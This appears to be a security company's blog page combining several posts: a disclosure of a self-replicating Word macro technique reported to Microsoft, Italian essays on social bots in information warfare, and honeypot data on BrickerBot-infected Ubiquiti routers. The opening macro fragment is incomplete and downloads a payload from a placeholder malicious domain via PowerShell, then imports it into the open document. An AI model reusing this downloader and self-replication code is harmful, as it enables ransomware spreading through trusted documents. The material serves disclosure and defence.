Set oShell = CreateObject(“WScript.Shell”)

strHomeFolder = oShell.ExpandEnvironmentStrings(“%APPDATA%”)

moduleName = strHomeFolder & “\Microsoft\Templates\stage1.bas”

Download = “powershell Invoke-WebRequest -Uri “”http://<<malicious-domain>>/stage1″” -OutFile ” & moduleName

ExecDown = Shell(Download, 0)

‘importing and saving the malicious code inside the active document

Dim thisTarget As Document

Dim thisName As String

Set thisTarget = ActiveDocument

thisName = thisTarget.FullName

thisTarget.SaveAs2 newName & “.doc”, _


thisTarget.VBProject.VBComponents.Import moduleName


Attack scenario

It is possible to weaponize the code above to create, for example, a targeted “clock bomb” that encrypts all affected system files for ransom purposes. In order to be effective, it is sufficient to lure a company’s employee to execute the macro of a first malicious document to trigger a vicious cycle in which any document sent by him/her (that will become a trusted source for other company’s employees and also for employees of any business partner or supplier) becomes the attack vector. Of course, any new victim becomes the new infection-spreader.

A video of a working Proof of Concept of a self-replicating Macro-based Ransomware we created in just a few days of work will be presented by me during the 8° Italian national conference on Cyber warfare.

Possible mitigation

Technically speaking, in order to (partially) mitigate the vulnerability the suggestion I gave to MS is to move the AccessVBOM registry key from the HKCU hive to the HKLM, making it editable only by the system administrator.

However, it looks like no patch will be delivered by MS (set out below is the responsible disclosure chronicle to MSRC Microsoft Security Response Center).
That means that the only real protection is, as usual, your paranoia level: don’t enable Macros if you are not pretty sure they are legitimate, even if the documents are coming from trusted sources. Verifying the identity of the sender and that the visible content is what you were expecting to receive is no longer enough, because the sender could be involved in spreading malicious documents without being aware of it.

Responsible disclosure chronicles

  • First contact with Microsoft Security Response Center (MSRC): 10/16
  • Sent report & a video PoC to MSRC: 10/17
  • Confirmation of the opening of a ticket for the investigation on the finding from MSRC: 10/17
  • Message informing MSRC closed the investigation: 11/01


Here the message coming from the MSRC:
“Hi Lino,

We have completed our investigation and found that this doesn’t appear to be a security vulnerability issue as it’s how it works by design. We anticipate no further action on this item from MSRC and will be closing out the case.”

TrendMicro discovery

According to their post, TrendMicro recently identified Self-Replicating, Document-Encrypting Ransomware called “qkG Filecoder”, probably originating from Vietnamese crooks.

That means the vulnerability we reported to MS and that they refused to accept, could have already become a threat “in the wild” or it may become a threat soon. Hope MS will think about it.

Lino Antonio Buono
Technical Department Coordinator & Head of R&D Labs

Social Bots

L’attacco hacker al Democratic National Committee, le mail rubate al responsabile della campagna elettorale di Hillary Clinton, il leak di informazioni riservate su Macron. Si tratta di questioni  largamente riprese e diffuse dai media, la cui portata e importanza all’interno della vita politica di uno Stato sta diventando sempre più evidente anche ai non addetti ai lavori.

Essendo state chiaramente programmate ed eseguite secondo determinate tempistiche che consentissero di ottenere il massimo risultato (particolarmente evidente nel caso di Macron), è utile cercare di capire i meccanismi e le strategie messe in atto per portare a termine queste operazioni, inscrivibili in una più ampia dinamica di information warfare.


Il meccanismo di funzionamento del fenomeno può essere esemplificato prendendo in prestito il triangolo del fuoco:

  • Le fake news fungono da combustibile, sono ciò che viene infiammato dall’innesco e alimentato dal comburente. In quando combustibile, è sempre presente e ampiamente disponibile. Rimane relativamente “inerte” se non infiammato da un evento specifico (ad esempio un leak).
  • La scintilla che innesca la reazione è l’evento specifico che, come risultato di un attacco informatico, di una fuga di notizie o altro, infiamma la base di fake news.
  • I SocialBots agiscono da comburente, facilitando e alimentando la reazione.

In aggiunta possiamo considerare il sito Wikileaks come la sede in cui le scintille vengono prodotte e in cui mostrano di avere l’efficacia maggiore (pensiamo alla carbonella);

Il braciere in cui questa reazione chimica metaforica ha luogo è costituito dai social network.


Ma facciamo ora un esempio concreto, che mostri come questo schema interpretativo si adatti alla realtà degli eventi.

Durante la campagna elettorale per le elezioni presidenziali americane del 2016, la quantità di fake news circolanti su internet e, in particolare, sui social ha raggiunto picchi mai visti prima: secondo i dati raccolti dai ricercatori dell’Oxford Internet Institute, la percentuale di news riconducibili ai media tradizionali o a esperti pubblicamente riconosciuti come tali che sono state condivise durante la campagna elettorale non supera il 26%. Ciò significa che tre quarti di tutto ciò che veniva condiviso sull’argomento si posiziona in un qualche punto dello spettro delle fake news (dal momento che, nella stragrande maggioranza dei casi, un ragionamento dicotomico verità assoluta contro falsità assoluta non è applicabile).

Su questa base di fake news già molto estesa, si è innestato il caso dell’attacco hacker al Democratic National Committee e di quello al responsabile della campagna elettorale di Hillary Clinton, John Podesta. Le informazioni ottenute sono poi state pubblicate dal sito Wikileaks e conseguentemente diffuse in tutto il mondo.

Le fake news che circolavano fino a quel momento erano relativamente “inerti” nel senso che rimanevano all’interno delle cosiddette “information bubbles”  ed erano quindi più atte a rinforzare convinzioni preesistenti che a far cambiare nella pratica le intenzioni di voto.

Ciò che ha fatto sì che l‘information warfare in atto facesse un deciso salto in avanti qualitativo è il leak di dati che, in quanto appunto “leak” di informazioni in precedenza riservate o comunque private, ha una potenzialità di gran lunga maggiore di condizionare efficacemente l’opinione pubblica. Wikileaks ha contribuito a renderlo possibile, grazie alla propria reputazione guadagnata in seguito ai precedenti episodi di fughe di informazioni (che sono poi state confermate).

Tuttavia, l’elemento mancante è quello che ha permesso al fuoco acceso dalla scintilla sul combustibile di continuare ad ardere (e di provocare danni). Il comburente è costituito dai Social bot, che hanno agito dal punto di vista quantitativo amplificando esponenzialmente la diffusione dei contenuti e (probabilmente) l’hanno resa anche più longeva.


Ma cosa sono i social bot?

Come si può intuire, i social bot sono dei bot (qualsiasi software in grado di automatizzare delle azioni normalmente compiute da utenti umani) che vengono programmati per agire sui social network. Ne esistono moltissimi tipi diversi, che è possibile raggruppare in tre macro categorie in base alla funzione specifica per cui sono stati creati:

  • Spambots (spammano contenuto vario);
  • Paybots (pagati per portare traffico, spesso copiano tweet aggiungendo una short-URL che non c’entra con il contenuto e rimanda al sito pagante);
  • Influence bots (influenzano le conversazioni relative a un determinato argomento, gonfiano campagne marketing o hashtag per motivi che possono andare dalla semplice promozione alla propaganda politica):
    • Semplici: mettono like e retwittano tutto quello che proviene da un determinato account o che contiene un certo hashtag o parola chiave;
    • Complessi: creano tweet ex novo (spesso copiando altri tweet o generandoli, associandoli a immagini, oppure cyborg bots, cioè parzialmente gestiti in maniera manuale).


Grazie all’intervento dei social bot (influence bot) è possibile condizionare la conversazione online relativa a un determinato argomento in vari modi. L‘influence bot semplice provvederà a inondare il social network di turno con messaggi di propaganda più o meno velata, fake news e leak di informazioni allo scopo di creare scandalo tra le fila della fazione opposta e/o di gonfiare la percezione del supporto per una determinata causa o partito. L‘influence bot complesso, invece, agisce in maniera più subdola imitando in tutto e per tutto un utente umano e portando gli utenti reali a credere di discutere con una persona in carne ed ossa.



Com’è possibile che funzionino così bene? Quali meccanismi psicologici sfruttano per ottenere i loro scopi?

I social bot sfruttano alcuni dei meccanismi psicologici umani su cui fa perno anche il marketing, comprensibilmente, perché come quest’ultimo mirano a provocare un’azione o una reazione. In particolare:

  • L’effetto bandwagon, detto anche effetto carrozzone o istinto del gregge, che altro non è che la tendenza a seguire la folla, tanto nelle azioni, quanto nelle opinioni. L’efficacia di questo meccanismo mentale è stata quantificata matematicamente dai ricercatori dell’università di Ben Gurion, studio che potrebbe essere sviluppato per stabilire la quantità di bot necessari per innescarlo.
  • L’azione dei social bot si avvale anche del effetto persuasivo dell’autorità, soprattutto nel caso degli influence bot complessi che spesso si fingono persone esperte nel settore in cui mettono in atto la propria strategia, ma anche di quelli semplici per una questione di coerenza e di costanza: se X parla sempre e solo di Y, sarà un esperto.
  • L’effetto della scarsità, mutuato anch’esso dal marketing e dalle ben note “promozioni, solo per oggi”, si traduce in espressioni come “condividi prima che censurino” e spesso spinge gli utenti a diffondere notizie in maniera compulsiva e acritica.


Dimostrare che le fake news sono effettivamente “fake” non è sufficiente ad arginare il problema, per una serie di motivi.

Il tentativo di portare fatti e dati a smentita della fake news, può scatenare quello che viene chiamato “backfire effect” e che, in sostanza, consiste nell’ottenere la reazione opposta a quella a cui si mirava: una persona convinta della veridicità di una fake news, può interpretare l’impegno di smentirla come un tentativo di insabbiare la verità, con il risultato di rafforzare ancora di più le proprie convinzioni in proposito.

Ad ulteriore ostacolo alla verità troviamo la sindrome del complotto universale, che porta chi già crede in un particolare complotto ad essere molto incline a credere anche agli altri o a tutto ciò che ha anche solo la parvenza di complotto, persino se questo significa entrare in contraddizione. Sembra che questa “sindrome” sia dovuta alle motivazioni psicologiche che portano a credere al concetto stesso di complotto.

E infine, è molto comune leggere o sentire chi, di persona o su internet, tende a sopravvalutare le proprie conoscenze e capacità. Si chiama effetto Dunning-Krueger e rientra nel nostro ragionamento perché chi si sopravvaluta farà un’immensa fatica ad accettare di essersi sbagliato in merito a una notizia o a un fatto e continuerà a pensare che, sotto sotto, ci sia qualcosa che viene volutamente tenuto nascosto ma che loro hanno “percepito”.


Indipendentemente da quale sia l’opinione in merito alla sottile linea di confine tra il proteggere chi ne ha effettivo bisogno e il tenere sotto una campana di vetro chi farebbe bene a leggere di più e scrivere di meno, qualcosa va fatto. Se non per l’indipendenza intellettuale e culturale degli italiani, almeno per tentare di mitigare il rischio che soggetti nazionali o esteri sfruttino questi meccanismi per influenzare le abitudini di voto, inficiando la neutralità del nostro processo democratico.


Va anche tenuto presente che, secondo i dati dell’inchiesta sulle competenze degli adulti svolta dall’Ocse, “Il 27.7% degli adulti italiani possiede competenze linguistiche di Livello 1 o inferiore”, dove per Livello 1 si intendono le persone che si limitano ad essere “in grado di riempire semplici formulari, comprendere il significato di semplici frasi e leggere con fluidità un testo scritto”.

È evidente che non si tratta di un problema esclusivamente tecnologico, bensì di un deficit culturale ed educativo che va colmato con politiche apposite a medio e lungo termine. Per quanto riguarda il breve termine, in attesa (e nella speranza) che la questione venga affrontata in maniera strutturata e istituzionale, possiamo cercare di arginare gli effetti più nefasti con i mezzi a nostra disposizione nell’immediato.

Twitter, uno dei social network più colpiti


La Darpa Challenge

Molti progetti universitari e privati hanno impiegato diverse tecniche per tentare di identificare con sicurezza gli influence bot, di questi i più completi ed efficaci sono quelli che hanno partecipato alla Darpa Challenge statunitense. Sei squadre si sono sfidate in tempo e precisione utilizzando soluzioni sofisticate che prendevano in considerazione una serie di parametri caratterizzanti che andavano dalla sintassi delle frasi, al timing dei tweet, al grafo relazionale che comprendeva gli account in esame, ecc. I risultati in laboratorio sono stati eccezionali: quasi tutte le squadre hanno identificato il 100% dei bot, la maggior parte di esse con una percentuale di falsi positivi vicina allo zero. Quello che sembra un assoluto successo, tuttavia, non è privo di lati negativi e difficoltà nell’applicarlo al lavoro di tutti i giorni. Innanzitutto, tutte le squadre hanno utilizzato dei sistemi di machine learning, che si mostrano sicuramente efficaci, ma non possono prescindere dal periodo di training (una base di dati costituita da una certa quantità di account sicuramente bot e un’altra di account sicuramente umani viene data in pasto al sistema, che li utilizza poi come punto di partenza per individuare gli account assimilabili all’una o all’altra categoria). Questo training richiede molto tempo e, idealmente, un continuo aggiornamento che segua gli sviluppi delle più recenti strategie che i programmatori di bot elaborano per impedirne l’individuazione.


Idee e proposte

Allo stato attuale dell’arte, ci è già stato possibile individuare alcuni accorgimenti che renderebbero i futuri bot molto meno individuabili di quelli attuali, che vanno a modificare in particolare:

  • il timing dei tweet, dei retweet, delle menzioni ecc., affinché sia realmente casuale;
  • la rete relazionale, in modo da impedirne la ricostruzione;
  • la somiglianza del contenuto dei tweet a quello che pubblicherebbe un utente umano;
  • la geolocalizzazione, simulata in maniera coerente.

Non specificherò in questa sede come sarebbe teoricamente possibile eludere gli attuali strumenti di analisi, per non fornire facili suggerimenti a eventuali malintenzionati. L’argomento viene trattato in maniera più estesa e specifica all’interno del volume di prossima pubblicazione che riporta gli Atti dell’ottava Conferenza Nazionale sulla Cyber Warfare (CWC) 2017.


Si ripresenta la situazione, ben nota a chi si occupa di sicurezza informatica, in cui gli attaccanti hanno la possibilità intrinseca di essere sempre un passo avanti ai difensori. Come dimostrato dai nostri semplici accorgimenti, le caratteristiche su cui si basano gli attuali metodi per l’individuazione dei social bot possono essere cambiate, non appena il botmaster (colui che gestisce la botnet) riesce ad analizzare il funzionamento degli strumenti di individuazione più all’avanguardia.

L’unica cosa che non può essere cambiata è l’intensità dell’attività di diffusione dei contenuti, il potenziamento della portata mediatica e della popolarità, il marketing di prodotti o siti web; se venisse modificata, i bot perderebbero senso di esistere non potendo più svolgere la funzione per cui sono stati creati. Un social bot poco produttivo o una campagna marketing in sordina non sono certo dei risultati voluti e ricercati.

Esattamente come nel caso delle botnet formate da computer o da dispositivi IoT, anche le social botnet ricevono istruzioni da un centro di comando e controllo ed eseguono determinate azioni a seconda dei comandi ricevuti. Nel caso di Twitter, ad esempio, si può ipotizzare che nei momenti immediatamente successivi all’attivazione della botnet, si verifichino dei picchi di traffico relativo all‘hashtag di turno, in tutto e per tutto simile a quelli individuabili durante gli attacchi DDOS.

L’identificazione in tempo reale di un’anomalia nella quantità di traffico relativo a un determinato argomento, può suggerire il risveglio di una botnet e portare l’attenzione sui suoi probabili membri, ovvero gli specifici account che hanno causato l’aumento.


In conclusione, per quanto possano dimostrarsi utili le analisi a posteriori da un punto di vista sia tecnico che di strategie di comunicazione, è indispensabile sviluppare un meccanismo di identificazione che consenta di bloccare quelli che sono veri e propri attacchi all’interno di una logica di information warfare. Bisogna agire in anticipo, bloccarli prima che abbiano la possibilità di causare danni perché, come abbiamo visto, il processo di condizionamento è difficilmente reversibile.



Ubiquiti Botnet

Da ormai diversi mesi InTheCyber registra un incremento nel numero di apparati di rete Italiani colpiti da infezione “BrickerBot”.

BrickerBot è una botnet che rende inutilizzabili i sistemi IoT che utilizzano credenziali di default.

Nel caso di apparati di rete Ubiquiti, la botnet ne modifica l’hostname nel tentativo di allertare i proprietari del dispositivo comunicando la tipologia di vulnerabilità sfruttata.

Solo in Italia sono stati attaccati con successo circa 1700 router.

Fig.1 Ubiquiti exploitation type in Italy

In Italia la maggior parte dei dispositivi risulta essere stata compromessa tramite l’utilizzo di credenziali “guessable”.

Gli hostname “HACKED-ROUTER-HELP-SOS-WAS-MFWORM-INFECTED” evidenziano la precedente compromissione dell’apparato da parte del malware “MFWorm” (che aggiunge un utente sfruttando una vulnerabilità nota dal 2015).

Tanti ISP minori italiani che sono stati coinvolti.

Fig.2 Ubiquiti product involved

INTHECYBER – Honeypot Tracking

Il CyberSecurity Center di InTheCyber monitora attacchi su rete pubblica tramite diverse tecniche di raccolta dati e attività di IR.

Nell’ultimo mese, sono stati rilevati 9000 IP che effettuano scansioni e BruteForce su protocollo SSH e Telnet generando un totale di 4 milioni di eventi.

Di questi, 1500 circa hanno sfruttato utenze di default utilizzati da apparati Ubiquiti, circa 200 sono quelli che hanno tentato di sfruttare le utenze create da MFWORM.